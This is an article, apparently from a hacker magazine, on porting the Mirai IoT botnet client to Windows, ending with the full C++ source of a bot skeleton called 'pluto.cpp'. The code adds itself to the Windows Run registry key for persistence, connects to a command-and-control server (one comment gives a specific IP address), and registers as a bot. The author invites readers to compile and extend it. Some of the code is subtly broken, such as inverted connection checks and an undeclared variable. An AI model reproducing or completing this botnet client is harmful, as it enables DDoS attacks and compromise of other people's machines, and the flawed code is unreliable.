Porting IoT Malware to Windows
by august GL
I don't know how many of you remember, but there was a big trend in the past few years. That big trend was botnets, specifically Internet of Things (IoT) botnets.
Botnets had been around for a while, but IoT ones really sprung up. I'm not gonna get into too much detail about IoT, but the main targets for these types of botnets were routers and cameras. People were also at one point scanning phones into their botnets. The way IoT bot herders got their bots was by scanning ranges of IP addresses, looking for devices running SSH or (don't laugh, Chinese router vendors still use it) Telnet. When they found these devices running SSH/Telnet, they would try a few username password combinations and, if they were successful, they would automatically download the actual malware onto the device, and boom! Another one bites the dust. I'm not gonna get into detail about scanning, and I most definitely will not teach you how to do it.
So what's the point of today's article? Well I guess I want to show how easy it was for me to port a super popular IoT botnet malware onto the Windows platform. First, let's talk about how it works!
Briefly, I'm gonna describe how Mirai works. It's a TCP server written in Golang (Google's baby language which actually isn't that bad), multi-threaded so that it can handle many connections at once. It receives a command from the bot herder (yeah, the hottie with a botnet!), and when a command is received, the server writes it to all the connected bots. On the bot (malware/client) end, it receives the command into a string, parses the command, and then does whatever the bot herder told it to do.
So all the code you are seeing is windows C code, using the Windows API. I won't include any of the Linux code because you can find that on GitHub.
But how did I port it to Windows? Simple. Sockets! The original Mirai code for IoT used traditional UNIX sockets. Well, Microsoft implemented their own socket library, called Winsock, which is actually pretty cool. It's basically the same thing but for Windows. The only difference is that when you first make a socket, you have to add the following code:
// code WSADATA wsaData; WSAStartup(MAKEWORD(2,2), &wsa); // end codeYou must do that once, and only once. Any less and it won't work. Any more and it will break Winsock. I also will not explain WSAStartup in detail, but it basically specifies what version of Winsock your program wants to use, in this case 2.2, "(MAKEWORD(2,2) )", and it does some other fancy Windows API internal shit.
That part right there should go before you do any socket code. In this case, it's in the establishconn() function.
// code static void establishconn() { // DO NOT FUCKING REMOVE THIS WSAData wsa; iRes = WSAStartup(MAKEWORD(2,2), &wsa); // new socket dwMainCommSock = socket(AF_INET, SOCK_STREAM, 0); if (dwMainCommSock == -1) { // if socket fails, bConnection becomes false, showing no connection bConnection = FALSE; } // sockaddr struct, has information about socket SOCKADDR_IN sockaddr; sockaddr.sin_port = htons(69); sockaddr.sin_family = AF_INET; // Just change the IP (x.x.x.x) sockaddr.sin_addr.s_addr = inet_addr("x.x.x.x"); // connects the socket to the server. // uses the sockaddr struct to pull info if (connect (dwMainCommSock, (SOCKADDR *) (&sockaddr), sizeof(sockaddr)) != 1) { // if successful, bConnection is TRUE bConnection = TRUE; } } // end codeThat's the function for establishing a connection. I'm not going to get too much into the logic of establishing a connection. If you compare the original Mirai function to the one I made above, you will see they are actually pretty similar! The main difference is WSAStartup, which is necessary. You also use a different data structure for sockaddr. In the original Mirai code (Linux), it uses:
struct sockaddr_inIn the windows code it has a different definition:
SOCKADDR_INbut it's basically the same thing. Moving on! Once you have a connection, this is what the code looks like:
// code char *chIdBuf = NULL; //ZeroMemory(id_buf, sizeof(id_buf)); // this is a windows bot so the id_buf is "windows" chIdBuf = (char *)"windows"; UINT8 uintIdLen = strlen(chIdBuf); // length of the ID buffer // sends 4 bytes to connect send(dwMainCommSock, "\x00\x00\x00\x01", 4, NULL); send(dwMainCommSock, (const char *)&uintIdLen, sizeof(uintIdLen), NULL); // if the length of ID is greater than 0 if (uintIdLen > 0 ) { // sends the ID buffer send(dwMainCommSock, chIdBuf, uintIdLen, NULL); } // end codeYou can see here (and in the comments) that this is a Windows bot, so the buffer will always be "windows". It sends four bytes to connect to the server ("\x00\x00\x00\x01") and then it sends the ID buffer ("windows").
After that, you have to add code to receiving the buffer to parse. In theory, you have to create a function to read from the socket until a newline character ("\n"), or figure out the length of the buffer to receive and then read that many bytes in. In theory, it would look like this:
// code int retval = recv(maincommsock, (char *) &len, sizeof(len), 0); printf("retval: %d\n", retval); len = htons(len); if (retval == sizeof(len)) { retval = recv(maincommsock, (char *) rdbuf, len, 0); printf("retval: %d\n", retval); printf("RDBUF: %s\n", rdbuf); } // codeBut that's something you gotta figure out yourself. After that, it gets pretty illegal, adding parsing so you can use it to DDoS kids online... whatever. But what did you learn today?
Well, you learned a few things. You learned that porting Linux socket code over to Windows is pretty much as simple as two lines of code and messing with some data structures. You also learned how the Mirai IoT botnet works, and how to make it work for Windows. You can find the full code online at github.com/augustgl/Pluto and in the code section of 2600.com. Feel free to compile it and test it yourself, and add on to it!
// made by augboi incorporated // established 2002 // based out of hoboken NJ // IMPORTANT NOTE // DO NOT CHANGE THE EXTENSION TO .c // IT BREAKS IT FOR SOME UNKNOWN REASON // PROBABLY BECAUSE VISUAL STUDIO IS TERRIBLE SOFTWARE // you may need to edit the mirai server // to handle windows clients // to configure scroll down to establishconn() // edit // sockaddr.sin_addr.s_addr = inet_addr("209.141.33.126"); // x.x.x.x to your CNC IP address // this is a skeleton // I removed a bunch of code // so most of these includes are useless #define _WINSOCK_DEPRECATED_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS #include <WS2tcpip.h> #include <WinSock2.h> #include <windows.h> #include <stdio.h> #include <stdint.h> #include <string.h> #include <stddef.h> #include <io.h> #include <ShlObj.h> #pragma comment(lib, "ws2_32.lib") #define MAX_WORDS 4096 DWORD dwMainCommSock; // main socket BOOL bConnection = FALSE; // boolean value for connection UINT8 uiLen; // not used void AddToStartup() { BYTE chPath[MAX_PATH]; // buffer for path to this file GetModuleFileName(NULL, (LPSTR)chPath, MAX_PATH); // get's full path to file HKEY hNewVal; // registry handle // you should know what this does // change "client" to the fake name in the registry // or even better // generate a random string for the startup name RegOpenKeyA(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hNewVal); RegSetValueEx(hNewVal, "client", 0, REG_SZ, chPath, sizeof(chPath)); // closes registry handle RegCloseKey(hNewVal); } // establishes connection static void establishconn() { // DO NOT FUCKING REMOVE THIS WSAData wsa; iRes = WSAStartup(MAKEWORD(2, 2), &wsa); // REMOVING WSAStartup will break winsock. // Don't add another one too, that will also break winsock // new socket dwMainCommSock = socket(AF_INET, SOCK_STREAM, 0); if (dwMainCommSock == -1) { // if socket fails, bConnection becomes false, showing no connection bConnection = FALSE; } // sockaddr struct, has information about socket SOCKADDR_IN sockaddr; sockaddr.sin_port = htons(69); // port for C2, this might be different sockaddr.sin_family = AF_INET; // Just change the IP sockaddr.sin_addr.s_addr = inet_addr("x.x.x.x"); // connects the socket to the server. // uses the sockaddr struct to pull info if (connect(dwMainCommSock, (SOCKADDR *)(&sockaddr), sizeof(sockaddr)) != 1) { // if successful, bConnection is TRUE bConnection = TRUE; } // error message for debugging. wchar_t *wchError = NULL; FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, WSAGetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPWSTR)&wchError, 0, NULL); fprintf(stderr, "%S\n", wchError); LocalFree(wchError); } // drops connection static void drop_con() { if (dwMainCommSock == -1) { // if dwmaincommsock = -1 closesocket(dwMainCommSock); // closes socket dwMainCommSock = -1; } } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { //int main() { AddToStartup(); // you should know what this does while (1) { //OutputDebugString("[*] CONNECTING TO SERVER"); if (dwMainCommSock == -1) { // if socket is -1 establishconn(); // establish connection } if (!bConnection) { // if bConnection is FALSE drop_con(); // drop connection Sleep(1); // sleep for 1 millisecond establishconn(); // try again } if (bConnection){ // uwu what's this? connection succsessful? // chIdBuf is for the buffer // that the server needs to identify // the OS the client is running char *chIdBuf = NULL; //ZeroMemory(id_buf, sizeof(id_buf)); // this is a windows bot // so the id buf is "windows" chIdBuf = (char *)"windows"; UINT8 uintIdLen = strlen(chIdBuf); // length of the ID buffer // sends 4 bytes to connect // the 4 bytes identify it as a bot // and not a botherder send(dwMainCommSock, "\x00\x00\x00\x01", 4, NULL); send(dwMainCommSock, (const char *)&uintIdLen, sizeof(uintIdLen), NULL); if (uintIdLen > 0) { // if the length of ID is greater than 0 // sends the ID buffer send(dwMainCommSock, chIdBuf, uintIdLen, NULL); } unsigned char chReadBuf[256] = { 0 }; UINT16 uiLen; /* int retval = recv(maincommsock, (char *)&len,sizeof(len), 0); printf("retval: %d\n", retval); len = htons(len); if (retval == sizeof(len)) { retval = recv(maincommsock, (char *)rdbuf, len, 0); printf("retval: %d\n", retval); printf("RDBUF: %s\n", rdbuf); } */ } } return 0; }Code: pluto.cpp